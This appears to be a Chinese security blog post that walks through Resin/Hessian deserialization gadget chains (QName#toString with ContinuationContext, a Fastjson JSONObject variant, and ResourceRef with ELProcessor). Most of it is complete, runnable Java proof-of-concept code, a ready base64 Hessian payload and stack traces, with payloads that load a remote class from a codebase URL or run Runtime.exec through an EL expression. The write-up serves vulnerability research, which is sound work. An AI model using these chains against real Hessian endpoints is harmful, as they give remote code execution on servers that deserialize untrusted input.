特么的,一开始因为想学习 jackson 反序列化漏洞,我发现有 gadget 和 hessian 差不多,然后看了 hessian 发现和这个差不多,man。😅而且网上参考好少…
简介
Resin是由CAUCHO公司开发的流行引擎,支持Servlets和JSP,速度极快。它内置HTTP/1.1 WEB服务器,不仅擅长处理动态内容,还能高效显示静态内容,性能接近Apache Server,所以等会还会涉及内存马的说法。
反序列化利用链
pom.xml 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>TwiceReadObject</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<resin.version>4.0.64</resin.version>
<javassist.version>3.28.0-GA</javassist.version>
<tomcat.version>8.5.6</tomcat.version>
<fastjson.version>1.2.83</fastjson.version>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>${javassist.version}</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
<exclusions>
<exclusion>
<groupId>com.caucho</groupId>
<artifactId>javaee-16</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>${tomcat.version}</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
</dependencies>
</project>
|
Qname#toString
这条利用链是通过任意 toString 来触发的,sink 点为Qname#toString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| public String toString() {
String name = null;
for(int i = 0; i < this.size(); ++i) {
String str = this.get(i);
if (name != null) {
try {
name = this._context.composeName(str, name);
} catch (NamingException var5) {
name = name + "/" + str;
}
} else {
name = str;
}
}
return name == null ? "" : name;
}
|
他可以触发this._context.composeName(str, name);所以我们只需要去找一个合适的 _context 类即可,而看到这不难回想起打 jndi 注入,这里找到 ContinuationContext 类
1
2
3
4
5
| public String composeName(String name, String prefix)
throws NamingException {
Context ctx = getTargetContext();
return ctx.composeName(name, prefix);
}
|
先看看 getTargetContext 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| protected Context getTargetContext() throws NamingException {
if (contCtx == null) {
if (cpe.getResolvedObj() == null)
throw (NamingException)cpe.fillInStackTrace();
contCtx = NamingManager.getContext(cpe.getResolvedObj(),
cpe.getAltName(),
cpe.getAltNameCtx(),
env);
if (contCtx == null)
throw (NamingException)cpe.fillInStackTrace();
}
return contCtx;
}
|
如果 cpe.getResolvedObj() 是一个 Reference 对象,它就会触发JNDI的引用解析过程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| public ResolveResult
resolveToClass(Name name, Class<? extends Context> contextType)
throws NamingException
{
if (cpe.getResolvedObj() == null)
throw (NamingException)cpe.fillInStackTrace();
Resolver res = NamingManager.getResolver(cpe.getResolvedObj(),
cpe.getAltName(),
cpe.getAltNameCtx(),
env);
if (res == null)
throw (NamingException)cpe.fillInStackTrace();
return res.resolveToClass(name, contextType);
}
|
接着看 getContext 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| static Context getContext(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment) throws NamingException {
Object answer;
if (obj instanceof Context) {
// %%% Ignore environment for now. OK since method not public.
return (Context)obj;
}
try {
answer = getObjectInstance(obj, name, nameCtx, environment);
} catch (NamingException e) {
throw e;
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
return (answer instanceof Context)
? (Context)answer
: null;
}
|
需要一个 Hashtable 对象,然后跟进 getObjectInstance,其中 ref 是被解析出来的对象


1
2
3
4
5
6
7
8
9
| public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
|
URLClassLoader.newInstance(getUrlArray(codebase), parent);会进行远程类的加载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
| package org.example.resin;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
public class toStringQnamePoc {
public static void main(String[] args) throws Exception {
Reference refObj = new Reference("Eval","Eval","http://127.0.0.1:8000/");
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
Hashtable<?, ?> hashtable = new Hashtable<>();
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable);
QName qname = new QName(continuationContext,"aaa","bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xstring);
map1.put("zZ", qname);
map2.put("zZ", xstring);
map2.put("yy", qname);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
byte[] payload = Hessian2_serialize(table);
Hessian2_unserialize(payload);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
|
调用栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| at Eval.<clinit>(Eval.java:12)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180)
at com.caucho.naming.QName.toString(QName.java:353)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at java.util.Hashtable.put(Hashtable.java:469)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100)
at org.example.resin.toStringQnamePoc.Hessian2_unserialize(toStringQnamePoc.java:92)
at org.example.resin.toStringQnamePoc.main(toStringQnamePoc.java:46)
|
看这个调用栈确实是反序列化也能RCE了,但是我还是不放心(仅仅序列化也可弹出计算器),所以我又写了序列化和反序列化分开的
序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
| package org.example.resin;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import static org.example.resin.toStringQnamePoc.unhash0;
public class test1 {
public static void main(String[] args) throws Exception {
Object payload = buildExploitObject();
byte[] hessianBytes = serializeToHessian2(payload);
String base64Payload = Base64.getEncoder().encodeToString(hessianBytes);
System.out.println(base64Payload);
}
private static Object buildExploitObject() throws Exception {
Reference refObj = new Reference("Eval", "Eval", "http://127.0.0.1:8000/");
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
Hashtable<?, ?> hashtable = new Hashtable<>();
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable);
QName qname = new QName(continuationContext, "aaa", "bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", xstring);
map1.put("zZ", qname);
map2.put("zZ", xstring);
map2.put("yy", qname);
Hashtable<Object, Object> table = new Hashtable<>();
table.put(map1, "1");
table.put(map2, "2");
return table;
}
private static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static byte[] serializeToHessian2(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
}
|
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| package org.example.resin;
import com.caucho.hessian.io.Hessian2Input;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;
public class test2 {
public static void main(String[] args) throws Exception {
String base64Payload = "TRNqYXZhLnV0aWwuSGFzaHRhYmxlSAJ6WkMwMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmeSBW1fb2JqCG1fcGFyZW50YATrqIcKAhNOAnl5Qxdjb20uY2F1Y2hvLm5hbWluZy5RTmFtZZIIX2NvbnRleHQGX2l0ZW1zYUMwJGphdmF4Lm5hbWluZy5zcGkuQ29udGludWF0aW9uQ29udGV4dJMDY3BlA2Vudgdjb250Q3R4YkMwI2phdmF4Lm5hbWluZy5DYW5ub3RQcm9jZWVkRXhjZXB0aW9unA1yb290RXhjZXB0aW9uDWRldGFpbE1lc3NhZ2UFY2F1c2UQcmVtYWluaW5nTmV3TmFtZQtlbnZpcm9ubWVudAdhbHROYW1lCmFsdE5hbWVDdHgMcmVzb2x2ZWROYW1lC3Jlc29sdmVkT2JqDXJlbWFpbmluZ05hbWUKc3RhY2tUcmFjZRRzdXBwcmVzc2VkRXhjZXB0aW9uc2NOTlGVTk5OTk5DFmphdmF4Lm5hbWluZy5SZWZlcmVuY2WUCWNsYXNzTmFtZQxjbGFzc0ZhY3RvcnkUY2xhc3NGYWN0b3J5TG9jYXRpb24FYWRkcnNkBEV2YWwERXZhbBZodHRwOi8vMTI3LjAuMC4xOjgwMDAvcBBqYXZhLnV0aWwuVmVjdG9yTnIcW2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudEMbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50lA5kZWNsYXJpbmdDbGFzcwptZXRob2ROYW1lCGZpbGVOYW1lCmxpbmVOdW1iZXJlF29yZy5leGFtcGxlLnJlc2luLnRlc3QxEmJ1aWxkRXhwbG9pdE9iamVjdAp0ZXN0MS5qYXZhuGUXb3JnLmV4YW1wbGUucmVzaW4udGVzdDEEbWFpbgp0ZXN0MS5qYXZhpXAwJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0TZBaTnoDYWFhA2JiYloBMkgCeXlRkgJ6WlGTWgExWg=="; // 替换为生成的 Base64 数据
byte[] hessianBytes = Base64.getDecoder().decode(base64Payload);
Hessian2_unserialize(hessianBytes);
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
|

JSON#toString
在hessian2input#readString我们如果加一个合适的值就可以触发到 expect 方法,也就到了这段
1
| return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
|
这里之前做bladeCC的时候学到过,会隐式调用 toString,Fastjson的com.alibaba.fastjson.JSONObject.toString方法可以调用任意类的 getter 方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| public String toString() {
return this.toJSONString();
}
public String toJSONString() {
SerializeWriter out = new SerializeWriter();
String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}
return var2;
}
|
接着到了
1
2
3
4
| public Hashtable<?,?> getEnvironment() throws NamingException {
Context ctx = getTargetContext();
return ctx.getEnvironment();
}
|
然后就和上面的链子一致了,但是在此之前,我们还需要到Hessian2Input#readString

往上看是Hessian2Input#readObject—>Hessian2Input#readObjectDefinition

所以是加baos.write(67);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| package org.example.resin;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.Hashtable;
public class ContinuationDirContextFJPoc {
public static void main(String[] args) throws Exception {
Reference refObj = new Reference("Eval","Eval","http://127.0.0.1:8000/");
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationDirContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(refObj);
DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>());
JSONObject jsonObject = new JSONObject();
jsonObject.put("test",ctx);
byte[] payload = Hessian2_serialize(jsonObject);
Hessian2_unserialize(payload);
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write(67);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| at Eval.<clinit>(Eval.java:16)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.getEnvironment(ContinuationContext.java:197)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.alibaba.fastjson.util.FieldInfo.get(FieldInfo.java:451)
at com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValueDirect(FieldSerializer.java:110)
at com.alibaba.fastjson.serializer.JavaBeanSerializer.write(JavaBeanSerializer.java:196)
at com.alibaba.fastjson.serializer.MapSerializer.write(MapSerializer.java:251)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:275)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:799)
at com.alibaba.fastjson.JSON.toString(JSON.java:793)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at com.caucho.hessian.io.Hessian2Input.expect(Hessian2Input.java:2865)
at com.caucho.hessian.io.Hessian2Input.readString(Hessian2Input.java:1407)
at com.caucho.hessian.io.Hessian2Input.readObjectDefinition(Hessian2Input.java:2163)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2105)
at org.example.resin.ContinuationDirContextFJPoc.Hessian2_unserialize(ContinuationDirContextFJPoc.java:47)
at org.example.resin.ContinuationDirContextFJPoc.main(ContinuationDirContextFJPoc.java:31)
|
ResouceRef+ELProccessor
跟进

就会反射

poc 如下,一开始写的会弹出两个计算器,其实只需要像我一样交换一下table.put(map2, "2");就可以静默处理了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
| package org.example.resin;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.naming.ResourceRef;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
public class resouceRefELProccessorPoc {
public static void main(String[] args) throws Exception {
String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
constructor.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
cpe.setResolvedObj(resourceRef);
Hashtable<?, ?> hashtable = new Hashtable<>();
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable);
QName qname = new QName(continuationContext,"aaa","bbb");
String unhash = unhash(qname.hashCode());
XString xstring = new XString(unhash);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xstring);
map1.put("zZ", qname);
map2.put("zZ", xstring);
map2.put("yy", qname);
Hashtable table = new Hashtable();
table.put(map1, "1");
//table.put(map2, "2");
byte[] payload = Hessian2_serialize(table);
table.put(map2, "2");
Hessian2_unserialize(payload);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static Object Hessian2_unserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| at javax.el.ELProcessor.eval(ELProcessor.java:54)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:211)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
at javax.naming.spi.NamingManager.getContext(NamingManager.java:439)
at javax.naming.spi.ContinuationContext.getTargetContext(ContinuationContext.java:55)
at javax.naming.spi.ContinuationContext.composeName(ContinuationContext.java:180)
at com.caucho.naming.QName.toString(QName.java:353)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at java.util.Hashtable.put(Hashtable.java:469)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:571)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2100)
at org.example.resin.resouceRefELProccessorPoc.Hessian2_unserialize(resouceRefELProccessorPoc.java:97)
at org.example.resin.resouceRefELProccessorPoc.main(resouceRefELProccessorPoc.java:51)
|
https://cloud.tencent.com/developer/article/2387944
https://www.cnblogs.com/F12-blog/p/18156091
https://infernity.top/2025/03/02/Resin%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/